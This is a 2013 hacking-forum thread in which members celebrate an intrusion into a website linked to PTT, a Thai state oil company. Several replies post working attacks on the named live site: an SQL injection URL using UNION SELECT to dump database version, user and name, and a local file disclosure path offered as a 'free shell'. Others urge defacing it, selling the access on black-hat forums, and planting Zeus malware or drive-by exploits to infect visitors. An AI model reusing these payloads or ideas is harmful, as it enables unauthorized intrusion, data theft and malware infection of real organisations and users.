▒▒▒[HACKED] PTT Public Company Limited website [/HACKED]▒▒▒

▒▒▒[HACKED] PTT Public Company Limited website [/HACKED]▒▒▒ - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: ▒▒▒[HACKED] PTT Public Company Limited website [/HACKED]▒▒▒ (/showthread.php?tid=3435872)

Pages: Pages 1 2

▒▒▒[HACKED] PTT Public Company Limited website [/HACKED]▒▒▒ - Teferi - Apr 25, 2013

[img]http://upload.wikimedia.org/wikipedia/en/thumb/a/a8/PTT_Public_Company_logo.svg/130px-PTT_Public_Company_logo.svg.png[/img]

[img]http://s17.postimg.org/cqks2j6u7/alex.png[/img]

Website

http://www.vcharkarn.com/test.html

Stats

[img]http://s11.postimg.org/oqfe3to5f/usd.png[/img]

More information about the PTT group:

Quote:PTT Public Company Limited, PTT PCL, or simply PTT (ปตท.) is a Thai state-owned SET-listed oil and gas company. Formerly known as the Petroleum AuThority of Thailand, it owns extensive submarine gas pipelines in the Gulf of Thailand, a network of LPG terminals throughout the Kingdom, and is involved in electricity generation, petrochemical products, oil and gas exploration and production, and gasoline retailing businesses.[3]
Affiliated companies include PTT Exploration and Production, PTT Global Chemical, PTT Asia Pacific Mining,[4] and PTT Green Energy.
PTT is one of the largest corporations in the country and also the only company from Thailand that listed in the Fortune Global 500 companies, which ranks 128[2] among top 500 companies in the world, an improvement of 27 ranks since 2010 according to Fortune magazine in 2011.

Source: Wikipedia

Income

[img]http://s22.postimg.org/kemyz64jl/income.png[/img]

* - dave198803 - Apr 25, 2013

Where is the hack ??///?? and this is 35 characters post the mother fucker already

* - Teferi - Apr 25, 2013

Quote:
Website

http://www.vcharkarn.com/test.html

Here is the website url, it's right underneath the second image.

- K0eN

* - anonbux0 - Apr 25, 2013

lol this website has many SQLi vulnerabilities..

* - Teferi - Apr 25, 2013

(Apr 25, 2013 12:01 PM)anonbux0 Wrote: lol this website has many SQLi vulnerabilities..

Well, try defacing it then ;')

Show your leet skills.

Just kidding, but try shelling it <3

- K0eN

* - Cathal - Apr 25, 2013

Ugh.. Did you seriously crack those hashes? (or whatever the correct term is)

* - Cathal - Apr 25, 2013

(Apr 25, 2013 02:17 PM)Visual Basic. Wrote: Thats awesome but i cant get like id=90 it is like website.com/vnews , Can you post the link to the vulnerability

If you struggle with that, good luck injecting when you finally find it..

* - crossera - Apr 25, 2013

Nice :D Took me some time to realize how ..
But damn site is vulnerable to.
SQL injection + some type of vuln I forgot its name ..
You can download all files on the website .. Ahh yes
LOCAL FILE DISCLOSURE

As for the OP really good job .
You might consider selling it in some BH forums :)

* - Pendragon - Apr 25, 2013

lol thanks for the free shell.

Code 
www.vcharkarn.com/project/download.php?id=6&file=1&path=upload/0/

* - Pwning U - Apr 25, 2013

Go away OP. Nobody cares about your shit.

* - Teferi - Apr 25, 2013

(Apr 25, 2013 05:25 PM)Pwning U Wrote: Go away OP. Nobody cares about your shit.

I don't care about your shit either, oh wait you have no threads so you have no shit.

Btw, welcome to hackforums enjoy your stay and by the way don't try get hated in the beginning.

- K0eN

* - ๖ۣۜMotherGlucker - Apr 26, 2013

Nicely done!
Also nice music haha ^^

* - Mimix - Apr 27, 2013

why not put a exploit on the website and get bots ! and after that infect the dudes with zeus^! or put a silent java druve by use the search button to find:)

* - Zixem - Apr 27, 2013

(Apr 25, 2013 04:35 PM)Pendragon Wrote: lol thanks for the free shell.

Code
www.vcharkarn.com/project/download.php?id=6&file=1&path=upload/0/

rofl also sqli

Code 
http://www.vcharkarn.com/vbook/show.php?bid=zxm' UNION SELECT 1,version(),3,4,user(),database(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32--+-

mysql user is root, geez.
http://vcharkarn.com/include/z.txt

* - Pwning U - Apr 27, 2013

(Apr 25, 2013 10:43 PM)K0eN Wrote: I don't care about your shit either, oh wait you have no threads so you have no shit.

Wow man. That comment makes me feel so bad about myself. Time to /quit the internet.

(Apr 25, 2013 10:43 PM)K0eN Wrote: Btw, welcome to hackforums enjoy your stay and by the way don't try get hated in the beginning.

- K0eN

I'll try my best.